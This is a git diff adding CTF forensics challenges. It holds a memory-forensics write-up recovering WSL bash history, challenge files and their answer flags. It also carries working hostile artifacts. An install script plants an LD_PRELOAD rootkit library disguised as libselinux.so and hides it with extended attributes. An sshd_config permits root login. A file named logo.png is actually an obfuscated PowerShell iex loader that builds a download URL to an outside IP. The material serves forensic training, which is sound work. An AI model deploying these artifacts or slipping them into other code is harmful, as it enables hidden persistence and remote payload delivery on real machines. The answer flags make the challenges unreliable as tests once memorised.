+FFLAGS="-fomit-frame-pointer -fPIC"
+gcc -std=gnu99 cub3.c -O0 $WFLAGS $FFLAGS -shared $CFLAGS -Wl,--build-id=none -o cub3.so
+strip cub3.so
+setfattr -n user.$XATTR_STR -v $XATTR_STR cub3.so
+
+sed -i "s:$XATTR_STR:CHANGEME0:" config.h
+sed -i "s:$OWNER_ENV_VAR:CHANGEME1:" config.h
+sed -i "s:$EXECVE_PASS:CHANGEME2:" config.h
+
+mv cub3.so $INSTALL_DIR/libselinux.so
+echo "$INSTALL_DIR/libselinux.so" > /etc/ld.so.preload
+export $OWNER_ENV_VAR=1
+setfattr -n user.$XATTR_STR -v $XATTR_STR /etc/ld.so.preload
+setfattr -n user.$XATTR_STR -v $XATTR_STR /var/log/hide_access_log.log
+rm cub3.c config.h install.sh
\ No newline at end of file
diff --git a/Forensics/My_Poor_Webserver/src/post_docker_creation.sh b/Forensics/My_Poor_Webserver/src/post_docker_creation.sh
new file mode 100644
index 0000000..d4e4f57
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/src/post_docker_creation.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+XATTR_STR="EVIL_ATTACKER_ATTR"
+setfattr -n user.$XATTR_STR -v $XATTR_STR /etc/ld.so.preload
+setfattr -n user.$XATTR_STR -v $XATTR_STR /var/log/hide_access_log.log
+setfattr -n user.$XATTR_STR -v $XATTR_STR /lib/libselinux.so
+rm post_docker_creation.sh
+service ssh start
+sleep 4000
diff --git a/Forensics/My_Poor_Webserver/sshd_config b/Forensics/My_Poor_Webserver/sshd_config
new file mode 100644
index 0000000..fc9b30b
--- /dev/null
+++ b/Forensics/My_Poor_Webserver/sshd_config
@@ -0,0 +1,123 @@
+# $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
+
+# This is the sshd server system-wide configuration file. See
+# sshd_config(5) for more information.
+
+# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
+
+# The strategy used for options in the default sshd_config shipped with
+# OpenSSH is to specify options with their default value where
+# possible, but leave them commented. Uncommented options override the
+# default value.
+
+Include /etc/ssh/sshd_config.d/*.conf
+
+#Port 22
+#AddressFamily any
+#ListenAddress 0.0.0.0
+#ListenAddress ::
+
+#HostKey /etc/ssh/ssh_host_rsa_key
+#HostKey /etc/ssh/ssh_host_ecdsa_key
+#HostKey /etc/ssh/ssh_host_ed25519_key
+
+# Ciphers and keying
+#RekeyLimit default none
+
+# Logging
+#SyslogFacility AUTH
+#LogLevel INFO
+
+# Authentication:
+
+#LoginGraceTime 2m
+PermitRootLogin yes
+#StrictModes yes
+#MaxAuthTries 6
+#MaxSessions 10
+
+#PubkeyAuthentication yes
+
+# Expect .ssh/authorized_keys2 to be disregarded by default in future.
+#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
+
+#AuthorizedPrincipalsFile none
+
+#AuthorizedKeysCommand none
+#AuthorizedKeysCommandUser nobody
+
+# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
+#HostbasedAuthentication no
+# Change to yes if you don't trust ~/.ssh/known_hosts for
+# HostbasedAuthentication
+#IgnoreUserKnownHosts no
+# Don't read the user's ~/.rhosts and ~/.shosts files
+#IgnoreRhosts yes
+
+# To disable tunneled clear text passwords, change to no here!
+#PasswordAuthentication yes
+#PermitEmptyPasswords no
+
+# Change to yes to enable challenge-response passwords (beware issues with
+# some PAM modules and threads)
+ChallengeResponseAuthentication no
+
+# Kerberos options
+#KerberosAuthentication no
+#KerberosOrLocalPasswd yes
+#KerberosTicketCleanup yes
+#KerberosGetAFSToken no
+
+# GSSAPI options
+#GSSAPIAuthentication no
+#GSSAPICleanupCredentials yes
+#GSSAPIStrictAcceptorCheck yes
+#GSSAPIKeyExchange no
+
+# Set this to 'yes' to enable PAM authentication, account processing,
+# and session processing. If this is enabled, PAM authentication will
+# be allowed through the ChallengeResponseAuthentication and
+# PasswordAuthentication. Depending on your PAM configuration,
+# PAM authentication via ChallengeResponseAuthentication may bypass
+# the setting of "PermitRootLogin without-password".
+# If you just want the PAM account and session checks to run without
+# PAM authentication, then enable this but set PasswordAuthentication
+# and ChallengeResponseAuthentication to 'no'.
+UsePAM yes
+
+#AllowAgentForwarding yes
+#AllowTcpForwarding yes
+#GatewayPorts no
+X11Forwarding yes
+#X11DisplayOffset 10
+#X11UseLocalhost yes
+#PermitTTY yes
+PrintMotd no
+#PrintLastLog yes
+#TCPKeepAlive yes
+#PermitUserEnvironment no
+#Compression delayed
+#ClientAliveInterval 0
+#ClientAliveCountMax 3
+#UseDNS no
+#PidFile /var/run/sshd.pid
+#MaxStartups 10:30:100
+#PermitTunnel no
+#ChrootDirectory none
+#VersionAddendum none
+
+# no default banner path
+#Banner none
+
+# Allow client to pass locale environment variables
+AcceptEnv LANG LC_*
+
+# override default of no subsystems
+Subsystem sftp /usr/lib/openssh/sftp-server
+
+# Example of overriding settings on a per-user basis
+#Match User anoncvs
+# X11Forwarding no
+# AllowTcpForwarding no
+# PermitTTY no
+# ForceCommand cvs server
diff --git a/Forensics/Windows_Stands_For_Loser/README.md b/Forensics/Windows_Stands_For_Loser/README.md
new file mode 100644
index 0000000..b239606
--- /dev/null
+++ b/Forensics/Windows_Stands_For_Loser/README.md
@@ -0,0 +1,375 @@
+# Windows Stands for Loser
+
+> file : memdump.mem
+>
+> md5 : f23658120053084c6bc33b15653225e3
+>
+> sha256 : b9a1407f2040e205ec1cf3d8d88861ba063c0fd8f48267bb8bda75c785f67cbe
+>
+> scenario : This time, no realistic context, we just need you to find the commands that were executed and the time.
+>
+> Flag format: Hero{secret:dd/mm/YYYY-hh:mm:ss}
+>
+> flag: Hero{w5l_0n3:10/05/2023-19:59:30}
+>
+
+## Writeup
+
+### Get context : Listing process
+
+```bash
+p2 volatility/vol.py -f memdump.mem --profile=Win10x64_19045 pslist > pslist.txt
+```
+
+```bash
+p2 volatility/vol.py -f memdump.mem --profile=Win10x64_19045 pstree > pstree.txt
+```
+
+```bash
+Name Pid PPid Thds Hnds Time
+-------------------------------------------------- ------ ------ ------ ------ ----
+ 0xffffa38f09ca4040:System 4 0 105 0 2023-05-10 17:44:07 UTC+0000
+. 0xffffa38f111d4040:MemCompression 1552 4 58 0 2023-05-10 17:44:12 UTC+0000
+. 0xffffa38f0bdde040:smss.exe 328 4 3 0 2023-05-10 17:44:07 UTC+0000
+. 0xffffa38f09d02080:Registry 72 4 4 0 2023-05-10 17:44:06 UTC+0000
+...
+ 0xffffa38f10f1b2c0:svchost.exe 1464 584 5 0 2023-05-10 17:45:20 UTC+0000
+. 0xffffa38f11cd3080:ubuntu2204.exe 5768 1464 4 0 2023-05-10 17:50:34 UTC+0000
+.. 0xffffa38f129de080:wsl.exe 872 5768 3 0 2023-05-10 17:53:19 UTC+0000
+... 0xffffa38f1245f080:wslhost.exe 8236 872 3 0 2023-05-10 17:53:19 UTC+0000
+.... 0xffffa38f123c7080:conhost.exe 6492 8236 4 0 2023-05-10 17:53:19 UTC+0000
+.. 0xffffa38f11c1d080:conhost.exe 4856 5768 6 0 2023-05-10 17:50:34 UTC+0000
+...
+ 0xffffa38f11b8a080:bash 8888 5128 1 0 2023-05-10 17:53:19 UTC+0000
+
+```
+
+### Get a Strat : linux_bash ?
+
+As they explain [here](https://www.sciencedirect.com/science/article/pii/S1742287618301944) :
+
+> Fortunately, Microsoft seems to have leveraged the same code, or at least the same data structures, as the familiar Linux bash console. This allows use of the existing bash history [recovery algorithm](https://www.sciencedirect.com/topics/computer-science/recovery-algorithm) for WSL processes
+
+We found a bash process with pid 8888.
+
+### Linux_bash
+
+How do volatility deal with bash process with the plugin linux_bash ?
+
+https://volatility-labs.blogspot.com/2013/05/movp-ii-33-automated-linuxandroid-bash.html
+
+Step are listed below:
+
+1. Scan the heap
+2. Look for # characters in heap segments.
+3. With each potential timestamp, we subtract x bits to find the base address of the _hist_entry
+4. parse the _hist_entry structures founded
+
+#### Scan the heap..but first, where is the heap ?
+
+I suggest to use volshell from now on
+
+```bash
+p2 volatility/vol.py -f memdump.mem --profile=Win10x64_19045 volshell
+```
+
+With regular NT process, we can find the address of process heap in its PEB structure (field : "ProcessHeap"). The address of relative PEB is stored in _EPROCESS structure. (field : "Peb")
+
+> Peb: A pointer to the Process Environment Block (PEB). Although this member
+> (_EPROCESS.Peb) exists in kernel mode, it points to an address in user mode. The
+> PEB contains pointers to the process’ DLL lists, current working directory, com-
+> mand line arguments, environment variables, heaps, and standard handles.
+
+source : [The art of memory forensics - page 153](https://repo.zenk-security.com/Forensic/The%20Art%20of%20Memory%20Forensics%20-%20Detecting%20Malware%20and%20Threats%20in%20Windows,%20Linux,%20and%20Mac%20Memory%20(2014).pdf)
+
+You can run the commands bellow to see the content of a _EPROCESS and PEB structure for windows build you selected.
+
+```bash
+>>> dt("_EPROCESS")
+>>> dt("_PEB")
+```
+
+> There is also great resources to browse here : [Vergilius project](https://www.vergiliusproject.com/kernels/x64/Windows%2010%20|%202016/2110%2021H2%20(November%202021%20Update)/_EPROCESS)
+
+```bash
+>>> ps()
+#Name PID PPID Offset
+#...
+#bash 8888 5128 0xffffa38f11b8a080
+```
+
+but Is our process a NT Process ?
+
+![image-20230412150202763](https://jsinkers.github.io/notes/notebooks/comp_sys/img/pico-process.png)
+
+If we parse the _EPROCESS structure of our bash process, we need to look for the Peb field :
+
+```bash
+>>> dt("_EPROCESS",0xffffa38f11b8a080)
+#...
+#0x550 : Peb -
+#...
+```
+
+but there is no PEB address..
+
+Indeed,
+
+![image-20230512034023788](https://cdn.discordapp.com/attachments/881831671471689728/1106552074281431070/image-20230512034023788.png)
+
+```bash
+>>> dt("_EPROCESS",0xffffa38f11b8a080)
+#...
+#0x460 : PicoCreated 1
+#0x87c : Minimal 1
+#0x8c0 : PicoContext 18446690793371442032
+#...
+```
+
+8888 process is a pico process, therefore we could find the heap address in the PicoContext object but
+
+![image-20230412151056854](https://cdn.discordapp.com/attachments/881831671471689728/1106552675220332625/image-20230412151056854.png)
+
+source : https://www.sciencedirect.com/science/article/pii/S1742287618301944
+
+Anyway..., let's dump the whole memory space of the process x)
+
+```bash
+p2 volatility/vol.py -f memdump.mem --profile=Win10x64_19045 memdump -p 8888 -D .
+```
+
+1. ~~Scan the heap~~ => 8888.dmp
+2. Look for # characters in heap segments.
+3. With each potential timestamp, we subtract x bytes to find the base address of the _hist_entry
+4. parse the _hist_entry structures founded
+
+#### Look for # characters
+
+The goal here is to "find the timestamp member of the _hist_entry structure" ([src](https://volatility-labs.blogspot.com/2013/05/movp-ii-33-automated-linuxandroid-bash.html)). Given the fact that timestamp is in Unix format, instead of looking up for "#" only, I will narrow the search to "#1".. To do so, I made a quick script
+
+```bash
+i=0
+with open("./8888.dmp", "rb") as f:
+ while i < 915070976: #size of the dump
+ diese = f.read(1)
+ if not diese:
+ break
+ if diese == b"\x23": # "#"
+ one = f.read(1)
+ if one == b"\x31": # "1"
+ next_data = f.read(9)
+ with open("./8888_extracted_info.txt", "r") as f2:
+ f2.write(f"offset: {hex(i)} - #1")
+ for byte in next_data:
+ f2.write(f"{chr(byte)}")
+ f2.write(f"\n")
+ i+=9
+ i+=1
+ i += 1
+```
+
+This is not the most efficient way because I catch a lot of junk data and this implies having to clean up the file
+
+![image-20230511234709721](https://cdn.discordapp.com/attachments/881831671471689728/1106552073006362734/image-20230511234709721.png)
+
+but here are the values that stands out :
+
+```bash
+offset: 0x30a100 - #1683741543
+offset: 0x362d30 - #1683741570
+offset: 0x376d10 - #1683741539
+```
+
+1. ~~Scan the heap~~ => 8888.dmp
+2. ~~Look for # characters in heap segments.~~ => 0x30a100, 0x362d30, 0x376d10
+3. With each potential timestamp, we subtract x bytes to find the base address of the _hist_entry
+4. parse the _hist_entry structures founded
+
+#### find the base address of the _hist_entry
+
+First of all, what does the structure of _hist_entry look like?
+
+![image-20230512014801550](https://cdn.discordapp.com/attachments/881831671471689728/1106552073329320036/image-20230512014801550.png)
+
+The offsets we found are the physical offsets in our process dumped memory file. We need to convert it to a virtual address in the context of the process.
+
+For example, we need to know the offset of "#1683741543" in the virtual context.
+
+To match these address, we can use the memmap plugin
+
+```bash
+p2 volatility/vol.py -f memdump.mem --profile=Win10x64_19045 memdump -p 8888 -D .
+```
+
+This plugins is very convenient because it give us exactly what we need
+
+```bash
+Virtual Physical Size DumpFileOffset
+```
+
+The resulting mapping:
+
+> 0x00007fffeca66000 0x0000000046eeb000 0x1000 0x30a000
+>
+> so 0x30a100 = 0x00007fffeca66000+0x000100 = 0x00007fffeca66100
+
+```bash
+offset: 0x30a100 => virtual: 0x00007fffeca66100
+```
+
+> 0x00007fffecabe000 0x000000008e264000 0x1000 0x362000
+>
+> so 0x362d30 = 0x00007fffecabe000+0x000d30 =0x00007fffecabed30
+
+```bash
+offset: 0x362d30 => virtual: 0x00007fffecabed30
+```
+
+> 0x00007fffecad2000 0x0000000122bac000 0x1000 0x376000
+>
+> so 0x376d10 = 0x00007fffecad2000+0x000d10 = 0x00007fffecad2d10
+
+```bash
+offset: 0x376d10 => virtual: 0x00007fffecad2d10
+```
+
+Map:
+
+```bash
+offset: 0x30a100 => virtual: 0x00007fffeca66100
+offset: 0x362d30 => virtual: 0x00007fffecabed30
+offset: 0x376d10 => virtual: 0x00007fffecad2d10
+```
+
+Now, we need to find, in the dump, if the @ ( virtual offset ) is written somewhere in our dump (as pointer) . **/!\ Address are written in little endian /!\\**
+
+```bash
+0x00007fffeca66100 -> 00.61.a6.ec.ff.7f.00.00
+0x00007fffecabed30 -> 30.ed.ab.ec.ff.7f.00.00
+0x00007fffecad2d10 -> 10.2d.ad.ec.ff.7f.00.00
+```
+
+
+
+1. ~~Scan the heap~~ => 8888.dmp
+2. ~~Look for # characters in heap segments.~~ => 0x30a100,0x362d30, 0x376d10
+3. ~~With each potential timestamp, we subtract x bytes to find the base address of the _hist_entry~~ => 0x00007fffeca66100,0x00007fffecabed30,0x00007fffecad2d10
+4. parse the _hist_entry structures founded
+
+Thus, if we find our pointer, the prev 8 bits should be the pointer to our command line string
+
+#### Parse _hist_entry
+
+Let's look up for the pointer reference.
+
+For this purpose, I used a hexadecimal editor (hexedit) and its search feature
+
+![image-20230512014948158](https://cdn.discordapp.com/attachments/881831671471689728/1106552073610342431/image-20230512014948158.png)
+
+- **0x00007fffeca66100 -> 00.61.a6.ec.ff.7f**
+
+found at : @65B043D8
+
+```bash
+65B043D0 B0 02 AD EC FF 7F 00 00 00 61 A6 EC FF 7F 00 00 .........a......
+65B043E0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
+```
+
+Hence, we can assume that our _hist_ structure should look like this:
+
+```bash
+[_hist_entry] @ 0x65B043D8
+0x0 : line B0 02 AD EC FF 7F 00 00
+0x4 : timestamp 00 61 A6 EC FF 7F 00 00
+0x8 : data 0
+```
+
+0x00007fffecad02b0 and 0x00007fffeca66100 are virtual offset, so we can use volshell again, switch in the context of the process and try to read raw byte on our @
+
+```bash
+>>> cc(pid=8888)
+#Current context: bash @ 0xffffa38f11b8a080, pid=8888, ppid=5128 DTB=0x1abe9002
+```
+
+```bash
+>>> db(0x00007fffecad02b0)
+0x7fffecad02b0 6c 73 20 2d 61 00 00 00 00 00 00 00 00 00 00 00 ls.-a...........
+
+>>> db(0x00007fffeca66100)
+0x7fffeca66100 23 31 36 38 33 37 34 31 35 34 33 00 00 00 00 00 #1683741543.....
+0x7fffeca66110 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
+```
+
+- **0x00007fffecabed30 -> 30.ed.ab.ec.ff.7f**
+
+found at : @65B04A08
+
+```bash
+65B04A00 C0 C4 AB EC FF 7F 00 00 30 ED AB EC FF 7F 00 00 ........0.......
+65B04A10 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
+```
+
+```bash
+[_hist_entry] @ 0x065B04A08
+0x0 : line C0 C4 AB EC FF 7F 00 00
+0x4 : timestamp 30 ED AB EC FF 7F 00 00
+0x8 : data 0
+```
+
+0x00007fffecabc4c0 and 0x00007fffecabed30 are virtual offset, so we can use volshell again, switch in the context of the process and try to read raw bit on our @
+
+```bash
+>>> cc(pid=8888)
+#Current context: bash @ 0xffffa38f11b8a080, pid=8888, ppid=5128 DTB=0x1abe9002
+```
+
+```bash
+# >>> db(0x00007fffecabc4c0) /!\ you can ask to display more bits
+>>> db(0x00007fffecabc4c0,200)
+0x7fffecabc4c0 65 63 68 6f 20 4b 48 42 73 5a 57 46 7a 5a 53 42 echo.KHBsZWFzZSB
+0x7fffecabc4d0 6b 62 32 34 6e 64 43 42 6d 61 57 35 6b 49 47 31 kb24ndCBmaW5kIG1
+0x7fffecabc4e0 6c 49 48 64 70 64 47 67 67 64 47 68 6c 49 43 4a lIHdpdGggdGhlICJ
+0x7fffecabc4f0 7a 64 48 4a 70 62 6d 64 7a 49 69 42 6a 62 32 31 zdHJpbmdzIiBjb21
+0x7fffecabc500 74 59 57 35 6b 4c 43 42 30 61 47 56 79 5a 53 42 tYW5kLCB0aGVyZSB
+0x7fffecabc510 70 63 79 42 68 49 47 5a 31 62 6d 35 70 5a 58 49 pcyBhIGZ1bm5pZXI
+0x7fffecabc520 67 62 57 56 30 61 47 39 6b 4b 53 35 55 61 47 55 gbWV0aG9kKS5UaGU
+0x7fffecabc530 67 63 32 56 6a 63 6d 56 30 49 47 6c 7a 49 44 6f gc2VjcmV0IGlzIDo
+0x7fffecabc540 67 64 7a 56 73 58 7a 42 75 4d 77 3d 3d 20 7c 20 gdzVsXzBuMw==.|.
+0x7fffecabc550 62 61 73 65 36 34 20 2d 64 00 ab ec ff 7f 00 00 base64.-d.......
+
+>>> db(0x00007fffecabed30)
+0x7fffecabed30 23 31 36 38 33 37 34 31 35 37 30 00 00 00 00 00 #1683741570.....
+```
+
+### Get the flag
+
+#### secret
+
+```bash
+echo -n "KHBsZWFzZSBkb24ndCBmaW5kIG1lIHdpdGggdGhlICJzdHJpbmdzIiBjb21tYW5kLCB0aGVyZSBpcyBhIGZ1bm5pZXIgbWV0aG9kKS5UaGUgc2VjcmV0IGlzIDogdzVsXzBuMw==" | base64 -d
+#(please don't find me with the "strings" command, there is a funnier method).The secret is : w5l_0n3
+```
+
+#### timestamp
+
+![image-20230512022431671](https://cdn.discordapp.com/attachments/881831671471689728/1106552073962659840/image-20230512022431671.png)
+
+=> 10/05/2023-19:59:30
+
+#### Flag
+
+And finally, here is our flag :
+
+```bash
+Hero{w5l_0n3:10/05/2023-19:59:30}
+```
+
+
+
+## Ressources
+
+- https://www.sciencedirect.com/science/article/pii/S1742287618301944
+- https://volatility-labs.blogspot.com/2013/05/movp-ii-33-automated-linuxandroid-bash.html
+- https://www.vergiliusproject.com/
+
+volshell cheat sheet : ![Image](https://pbs.twimg.com/media/FIqxBc2XoAgdNH9?format=jpg&name=4096x4096)
\ No newline at end of file
diff --git a/Forensics/Windows_Stands_For_Loser/challenge.yml b/Forensics/Windows_Stands_For_Loser/challenge.yml
new file mode 100644
index 0000000..4407c49
--- /dev/null
+++ b/Forensics/Windows_Stands_For_Loser/challenge.yml
@@ -0,0 +1,36 @@
+name: "Windows Stands for Loser"
+author: "Malon"
+category: Forensic
+description: "This time, no realistic context, we just need you to find the commands that were executed and the time. (we don't talk about windows commands here :p) (time to find : UTC+2)
+
+Links :
+- http://static-01.heroctf.fr/windowsstandforloser.7z
+- http://static-02.heroctf.fr/windowsstandforloser.7z
+- http://static-03.heroctf.fr/windowsstandforloser.7z
+- https://mega.nz/file/rIpFnSjA#eTXl6H-8owe4zgvmfMuyGrIezZmrDBA1B2uBJibfKO4
+
+sha256sum :
+- memdump.mem : b9a1407f2040e205ec1cf3d8d88861ba063c0fd8f48267bb8bda75c785f67cbe
+
+ Format: Hero{secret:dd/mm/YYYY-hh:mm:ss} Author: Malon"
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{w5l_0n3:10/05/2023-19:59:30}",
+ data: "case_insensitive"
+ }
+
+tags:
+ - hard
+
+state: visible
+
+version: "0.2"
diff --git a/Forensics/dev_corp_1-4/.gitkeep b/Forensics/dev_corp_1-4/.gitkeep
new file mode 100644
index 0000000..e69de29
diff --git a/Forensics/dev_corp_1-4/README.md b/Forensics/dev_corp_1-4/README.md
new file mode 100644
index 0000000..65ae6fb
--- /dev/null
+++ b/Forensics/dev_corp_1-4/README.md
@@ -0,0 +1,44 @@
+# dev.corp 1/4
+
+### Category
+
+Forensic
+
+### Description
+
+The famous company dev.corp was hack last week..
+
+They don't understand because they have followed the security standards to avoid this kind of situation. You are mandated to help them understand the attack.
+
+For this first step, you're given the logs of the webserver of the company.
+
+Could you find :
+ - The CVE used by the attacker ?
+ - What is the absolute path of the most sensitive file recovered by the attacker ?
+
+dev.corp also expose a gitlab on internet for developers, and this might be the worst idea they had..
+
+Download links :
+ - https://mega.nz/file/KU5ASKxT#zojfii1C-mcc-qu2nfeyOzxXrI2Z-IuwRIBT71Y_qdo
+ - https://mega.nz/file/ndQzUS5C#UxAbrID6YIzjfye1dctx7bOxmxNDuR0zZqbgpASO_Jc
+
+sha256sums :
+ - git_content.zip: 0e1da815d14bdf05a0906e12a5e8cc0f442a52bf3117a1df7c06fe7f09e0c2f4
+ - gitlab_logs.zip: 2e5c1bbda9a3121cbe80e5c42e9b66e3a6d60874d6e9ad6e4c29018bf4db7f42
+ - web_srv_dd_part.zip : beff6c7300119f6ca88044f3945e2d4c4c2121c2af3f9652aec6aa10b8a040c7
+
+Could you find :
+ - The malicious commit id
+ - The ip address of this malicous commit
+ - The name of the file that was used to privesc
+
+Format : **Hero{b02a4678405a52b85972d75020b57cb4f83a7e8d:127.0.0.1:/tmp/pkexec}**
+Author : **Worty**
+
+### Files
+
+![Gitlab Logs](gitlab_logs.zip)
+- Files from mega or google drive
+
+### Write up
+
+
+todo
+
+
+### Flag
+
+```Hero{79abbe885602805e31bd297873393af74b2a3bd9:158.49.62.15:/var/www/web_srv_site/.git/hooks/post-merge}```
\ No newline at end of file
diff --git a/Forensics/dev_corp_2-4/challenge.yml b/Forensics/dev_corp_2-4/challenge.yml
new file mode 100644
index 0000000..0a0ace5
--- /dev/null
+++ b/Forensics/dev_corp_2-4/challenge.yml
@@ -0,0 +1,54 @@
+---
+name: "dev.corp 2/4"
+author: "Worty"
+category: "Forensic"
+description: "Apparently updates are not done at dev.corp ...
+
+dev.corp also expose a gitlab on internet for developers, and this might be the worst idea they had..
+
+Download links :
+ - https://mega.nz/file/KU5ASKxT#zojfii1C-mcc-qu2nfeyOzxXrI2Z-IuwRIBT71Y_qdo
+ - https://mega.nz/file/ndQzUS5C#UxAbrID6YIzjfye1dctx7bOxmxNDuR0zZqbgpASO_Jc
+
+sha256sums :
+ - git_content.zip: 0e1da815d14bdf05a0906e12a5e8cc0f442a52bf3117a1df7c06fe7f09e0c2f4
+ - gitlab_logs.zip: 2e5c1bbda9a3121cbe80e5c42e9b66e3a6d60874d6e9ad6e4c29018bf4db7f42
+ - web_srv_dd_part.zip : beff6c7300119f6ca88044f3945e2d4c4c2121c2af3f9652aec6aa10b8a040c7
+
+Could you find :
+ - The malicious commit id
+ - The ip address of this malicous commit
+ - The name of the file that was used to privesc
+
+Could you find :
+ - The path to the first malicious file
+ - The md5sum of payload executed that retrieved a file from the internet
+ - The url where the malicious binary was downloaded
+ - The md5sum of the malicious binary
+
+Format : **Hero{C:\\Users\\user\\veryevil.exe:fdc8cd4cff2c19e0d1022e78481ddf36:http://verymalicious/baecon.exe:fdc8cd4cff2c19e0d1022e78481ddf36}**
+Author : **Worty**
+
+### Files
+
+![Logo](logo.png)
+- File from mega or google drive
+
+### Write up
+
+
+todo
+
+
+### Flag
+
+```Hero{C:\\Users\\dev\\Downloads\\Win10_21H2_French_x64.iso:36624beb83830470d02ca9fd32c13a06:http://161.97.163.247:8000/favicon.ico:a43db5461cd2eddd7a4e7d9ed7eed711}```
\ No newline at end of file
diff --git a/Forensics/dev_corp_3-4/challenge.yml b/Forensics/dev_corp_3-4/challenge.yml
new file mode 100644
index 0000000..631d3b0
--- /dev/null
+++ b/Forensics/dev_corp_3-4/challenge.yml
@@ -0,0 +1,58 @@
+---
+name: "dev.corp 3/4"
+author: "Worty"
+category: "Forensic"
+description: "The attacker has thus completely compromised the machine allowing access to the company's website.
+
+One thing is incomprehensible, the dev's PC seems to have been hacked because we could observe some very strange network traffic.
+
+By analyzing the traffic, we found a weird logo.png, could you also check ?
+
+The password for the 7z file downloaded is : hkcjrVKDDXYgtUJ1DZhmT72nTsPg0jJhSVa2ACffpzYQ0umB6A
+
+Download link :
+ - https://mega.nz/file/yQYTkSxC\\#cuu2LzLIEjhxBEI46mFwbZmvm70PcYWaMY6L-2YI2KI
+
+Could you find :
+ - The path to the first malicious file
+ - The md5sum of payload executed that retrieved a file from the internet
+ - The url where the malicious binary was downloaded
+ - The md5sum of the malicious binary
+
+Format : **Hero{C:\\Users\\user\\veryevil.exe:fdc8cd4cff2c19e0d1022e78481ddf36:http://verymalicious/baecon.exe:fdc8cd4cff2c19e0d1022e78481ddf36}**
+Author : **Worty**"
+
+value: null
+type: dynamic
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{C:\\Users\\dev\\Downloads\\Win10_21H2_French_x64.iso:36624beb83830470d02ca9fd32c13a06:http://161.97.163.247:8000/favicon.ico:a43db5461cd2eddd7a4e7d9ed7eed711}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - medium
+ - forensic
+
+files:
+ - logo.png
+
+requirements:
+ - "dev.corp 2/4"
+ - "dev.corp 1/4"
+
+state: visible
+version: "0.1"
diff --git a/Forensics/dev_corp_3-4/logo.png b/Forensics/dev_corp_3-4/logo.png
new file mode 100644
index 0000000..449794c
--- /dev/null
+++ b/Forensics/dev_corp_3-4/logo.png
@@ -0,0 +1 @@
+iex(-join((36,71,75,74,108,101,77,85,68,119,73,105,69,102,115,66,55,87,117,103,79,100,81,82,120,55,115,97,107,74,88,76,52,73,100,50,98,120,77,74,84,51,68,57,120,77,75,52,48,53,52,89,113,114,50,73,73,97,83,99,110,109,102,116,74,65,118,65,69,77,66,67,121,102,89,119,84,85,118,52,78,98,83,112,121,105,110,81,86,75,67,88,67,118,68,102,66,66,121,70,105,49,84,115,82,77,66,120,109,76,107,72,101,56,83,105,113,65,100,104,114,48,76,80,66,66,50,54,117,103,120,50,52,67,77,89,57,111,70,106,71,108,77,81,74,81,55,55,80,51,50,67,77,80,81,80,100,77,56,55,48,77,66,72,97,78,57,109,65,79,54,70,81,84,86,105,88,119,103,56,87,106,102,49,65,74,74,71,101,100,77,98,118,99,90,101,107,120,106,86,56,104,56,97,121,78,112,85,115,51,102,109,81,48,54,100,67,56,122,80,90,105,100,75,72,79,111,84,49,53,70,89,83,67,88,104,83,117,104,50,70,74,89,112,55,110,87,118,81,53,81,82,75,119,122,81,87,57,81,48,80,107,56,71,84,69,68,105,78,67,73,49,103,112,97,77,100,122,73,56,115,48,121,77,86,51,118,80,80,65,118,89,74,75,112,57,103,80,110,73,102,53,113,49,84,77,51,121,49,51,68,53,71,72,80,56,67,53,118,112,66,97,120,110,81,51,57,113,65,48,87,106,52,48,86,115,106,109,103,76,82,90,85,75,81,99,113,52,66,75,67,80,101,103,110,108,106,98,107,90,71,108,85,89,87,107,116,121,104,57,89,50,77,70,76,75,90,84,81,56,108,55,88,76,83,52,52,113,82,53,100,103,51,90,97,50,56,90,65,56,68,88,120,53,52,65,110,98,97,105,77,88,75,115,107,56,74,101,57,70,74,54,57,84,56,116,70,120,51,55,77,80,108,109,107,99,52,68,53,89,48,84,57,118,105,52,98,53,99,89,83,72,54,49,84,99,105,114,52,100,56,83,114,50,85,88,122,73,107,57,98,114,55,110,83,116,119,50,119,82,90,74,121,76,50,81,83,100,67,79,49,67,52,72,105,79,73,89,98,49,87,77,55,76,76,121,77,112,106,65,108,56,98,79,83,78,79,107,87,55,68,70,55,70,51,106,78,68,83,88,70,106,118,121,97,51,90,97,32,61,32,39,104,116,116,112,58,47,47,39,10,36,71,107,116,57,69,114,79,87,51,79,53,118,54,115,85,86,86,55,52,57,69,81,102,56,74,51,114,108,112,88,87,66,72,100,76,102,121,74,98,50,52,115,112,79,118,122,48,80,103,111,49,69,86,100,66,68,77,75,66,109,79,87,74,57,113,99,112,81,78,76,73,117,66,100,68,105,87,83,74,48,90,115,80,48,89,75,106,87,90,73,53,57,82,72,112,71,119,103,99,52,86,106,110,109,107,107,107,116,48,48,68,57,114,109,108,67,100,104,74,85,57,115,117,83,74,82,77,111,48,90,80,107,119,67,72,51,78,114,77,101,57,101,81,104,106,121,70,76,87,68,83,116,73,68,72,115,89,122,76,82,115,113,119,101,86,90,120,71,109,118,51,116,86,82,97,115,65,75,105,112,111,80,113,66,87,97,74,86,120,110,55,122,71,82,82,71,104,81,86,97,50,98,57,119,104,108,101,99,66,115,122,69,110,55,120,102,57,113,66,115,77,117,71,78,82,122,110,121,69,114,120,121,78,114,113,75,52,83,90,109,57,117,48,103,89,57,49,48,55,70,55,67,83,113,111,100,76,111,82,52,120,53,98,68,32,61,32,39,49,54,49,46,57,55,39,10,36,71,51,108,89,57,118,101,85,111,121,70,86,79,100,98,51,78,122,115,52,103,116,75,81,111,100,108,102,97,65,55,72,100,120,97,116,76,49,120,68,66,107,111,51,102,98,83,50,109,103,90,69,109,118,67,76,75,101,106,115,75,101,84,88,80,98,50,55,120,89,67,107,52,117,66,78,66,98,88,76,99,78,113,112,72,77,108,105,74,77,78,114,54,88,98,102,54,110,56,54,78,109,76,120,69,120,109,74,116,108,48,104,70,48,121,